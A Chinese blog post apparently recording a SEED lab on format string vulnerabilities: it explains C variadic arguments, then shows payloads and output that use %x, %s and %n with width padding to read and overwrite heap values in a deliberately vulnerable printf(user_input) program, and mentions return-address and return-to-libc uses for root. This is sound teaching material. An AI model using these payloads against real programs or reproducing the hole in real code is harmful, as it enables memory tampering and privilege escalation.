软件安全-格式化字符串攻击

探索C语言的可变长参数

C语言标准库中头文件stdarg.h索引的接口包含了一组能够遍历变长参数列表的宏。 主要包含下面几个:

  1. va_list 用来声明一个表示参数表中各个参数的变量
  2. va_start 初始化一个指针来指向变长参数列表的头一个变量
  3. va_arg每次调用时都会返回当前指针指向的变量,并将指针挪至下一个位置,va_arg根据第二个参数类型来判断偏移的距离
  4. va_end需要在函数最后调用,来进行一些清理工作

观察my_print函数是如何实现可变长参数的?

root@gt:/home/git/myRubbish/seedlab# ./a.out 
3.500000 
4.500000 5.500000 
root@gt:/home/git/myRubbish/seedlab# cat live5_func_arg.c 
#include <stdio.h>
#include <stdarg.h>
int myprint(int Narg,...)
{
    va_list ap;
    int i;
    va_start(ap,Narg);

    for(i = 0;i < Narg;i++)
    {
        //printf("%d ",va_arg(ap,int));
        printf("%f ",va_arg(ap,double));
    }
    printf("\n");
    va_end(ap);
}

int main()
{
    myprint(1,2,3.5);
    myprint(2,3,4.5,4,5.5);
    return 1;
}

printf库函数的底层实现是什么样的?

int __printf(const char* format,...)
{
    va_list arg;
    int done;

    va_start(arg,format);
    done = vfprintf(stdout,format,arg);
    va_end(arg);

    return done;
}

printf缺失参数会发生什么?

root@gt:/home/git/myRubbish/seedlab/live5# ./a.out 
ID:100 ,name:ailx10 ,age:-828258536 
root@gt:/home/git/myRubbish/seedlab/live5# cat arg_missmatch.c 
#include <stdio.h>
int main()
{
    int id = 100;
    int age = 25;
    char* name = "ailx10";

    printf("ID:%d ,name:%s ,age:%d \n",id,name);
    return 1;
}

格式化字符串漏洞程序

初始化实验环境: 关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0

认识常见的格式化字符:

常见的格式化字符
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ ./a.out 
hello
a=5
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ cat test.c 
#include <stdio.h>

int main()
{
    int a;
    printf("hello%n\n",&a);
    printf("a=%d\n",a);
    return 0;   
}

任务:

  1. 打印secret[1]的值
  2. 修改secret[1]的值
  3. 修改secret[1]的值为任意指定值
/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret’s address is 0x%8x (on stack)\n",
(unsigned int)&secret);
printf("The variable secret’s value is 0x%8x (on heap)\n",
(unsigned int)secret);
printf("secret[0]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[0]);
printf("secret[1]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}

1.编译运行获得如下结果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%d,%d,%d,%d,%d,%d,%d
-1073745172,0,-1208008724,-1073745004,1,134524936,623666213
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由结果可以推断: printf 函数栈的第5个参数是int_input的值

2.我们修改int_input的值为secret[1]的地址会发生什么? 运行获得如下结果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%d,%d,%d,%d,%s
-1073745172,0,-1208008724,-1073745004,U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由结果可以推断:
字符U的ascii码为0x55,
完成任务1:打印secret[1]的值.

3.试一试%n ? 运行获得如下结果:

[04/10/2018 22:58] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%n
bffff2ec,0,b7ff3fec,bffff394,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x1d

由结果可以推断:
0x1d = 29,
(8+1)*3+(1+1) = 27 + 2 = 29.
修改secret[1]的值为29.完成任务2

4.试一试控制输出宽度? 运行获得如下结果:

[04/10/2018 23:06] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%8x,%8x,%8x,%996u,%n
bffff2ec,       0,b7ff3fec,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3221222292,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x400

由结果可以推断:
0x400 = 1024,
(8+1)*3 + 996 = 1024.
修改secret[1]的值为指定的值1024.完成任务3.

升级难度

如果第一个scanf语句不存在,如何实现上面的3个任务?

堆栈结构

1.试一试多打印几个%08x ?

[04/10/2018 23:48] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,
bffff2ec,00000000,b7ff3fec,bffff394,00000000,0804b008,78383025,3830252c,30252c78,252c7838,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由上面的结果可知: 0804b008是secret的值,之后的78383025%08x的ascii码.
secret地址之后是我们的user_input的字符串的ascii码对应的十六进制.
根据这一信息,我们可以将目标地址作为user_input的一部分放入栈空间中.

2.试一试将secret[0]修改成1024 ?

[04/11/2018 00:58] seed@ubuntu:~/Seed$ ./a.out 
,%08x,%08x,%08x,%08x,%983u,%n
The string length is 33
[04/11/2018 00:59] seed@ubuntu:~/Seed$ ./vulp < mystring 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
�,bffff2ec,00000000,b7ff3fec,bffff394,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0,
The original secrets: 0x44 -- 0x55
The new secrets: 0x400 -- 0x55

格式化字符串攻击的应用

1.修改函数返回地址,实现缓冲区溢出攻击,获取root权限

2.修改函数返回地址,实现return to libc攻击,获取root权限

3.修改判断语句的变量值,改变程序的执行流,实现竞争漏洞攻击,获取root权限

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,313评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,369评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,916评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,333评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,425评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,481评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,491评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,268评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,719评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,004评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,179评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,832评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,510评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,153评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,402评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,045评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,071评论 2 352

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,644评论 18 139
  • 格式化字符串漏洞实验一、 实验描述格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,...
    Magicknight阅读 2,512评论 0 0
  • 第2章 基本语法 2.1 概述 基本句法和变量 语句 JavaScript程序的执行单位为行(line),也就是一...
    悟名先生阅读 4,145评论 0 13
  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 13,780评论 0 38
  • 今天下午多年没来家里的表姐和姐夫来了。之前没通知,到了楼下打的电话。给我们一个惊喜。 多年没见,多少有些尴尬,不太...
    凯里木阅读 106评论 0 0